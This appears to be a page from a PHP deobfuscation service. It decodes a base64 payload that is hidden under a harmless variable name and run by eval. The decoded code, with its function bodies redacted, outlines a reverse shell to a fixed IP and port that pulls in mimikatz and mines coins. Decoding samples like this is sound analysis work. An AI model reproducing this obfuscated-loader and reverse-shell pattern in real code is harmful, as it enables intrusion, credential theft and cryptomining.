Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $pancakes_recipe = "PD9waHAKLy8gVGhpcyBpcyBhIG15IHN1cGVyIGNvb2wgcmV2IHNoZWxsIHNjc..

Decoded Output download

<?php
// This is a my super cool rev shell script 
$dst_ip = '224.63.39.198';
$dst_prt = 1337;
$shcmd = 'cmd.exe';
$accept_binary = 'mimikatz.exe';

function set_up_cnct($dst_ip, $dst_port) {
	  $sock = fsockopen($dst_ip, $dst_port, $errno, .... <REDACTED>
}
function receive_file($accept_ip, $accept_binary) {
	<REDACTED>
}
function mine_MDI_coins() {
	<REDACTED>
}
function handle_commands($sock) {
	<REDACTED>
}

$sock = set_up_cnct(dst_ip, dst port);
handle_commands($sock);

?>

Did this file decode correctly?

Original Code

<?php

$pancakes_recipe = "PD9waHAKLy8gVGhpcyBpcyBhIG15IHN1cGVyIGNvb2wgcmV2IHNoZWxsIHNjcmlwdCAKJGRzdF9pcCA9ICcyMjQuNjMuMzkuMTk4JzsKJGRzdF9wcnQgPSAxMzM3Owokc2hjbWQgPSAnY21kLmV4ZSc7CiRhY2NlcHRfYmluYXJ5ID0gJ21pbWlrYXR6LmV4ZSc7CgpmdW5jdGlvbiBzZXRfdXBfY25jdCgkZHN0X2lwLCAkZHN0X3BvcnQpIHsKCSAgJHNvY2sgPSBmc29ja29wZW4oJGRzdF9pcCwgJGRzdF9wb3J0LCAkZXJybm8sIC4uLi4gPFJFREFDVEVEPgp9CmZ1bmN0aW9uIHJlY2VpdmVfZmlsZSgkYWNjZXB0X2lwLCAkYWNjZXB0X2JpbmFyeSkgewoJPFJFREFDVEVEPgp9CmZ1bmN0aW9uIG1pbmVfTURJX2NvaW5zKCkgewoJPFJFREFDVEVEPgp9CmZ1bmN0aW9uIGhhbmRsZV9jb21tYW5kcygkc29jaykgewoJPFJFREFDVEVEPgp9Cgokc29jayA9IHNldF91cF9jbmN0KGRzdF9pcCwgZHN0IHBvcnQpOwpoYW5kbGVfY29tbWFuZHMoJHNvY2spOwoKPz4=";

eval(base64_decode($pancakes_recipe));

?>

Function Calls

base64_decode 1

Variables

$pancakes_recipe PD9waHAKLy8gVGhpcyBpcyBhIG15IHN1cGVyIGNvb2wgcmV2IHNoZWxsIHNj..

Stats

MD5 6a1b0641f85e6d5f0ed5f4fde55108a4
Eval Count 1
Decode Time 40 ms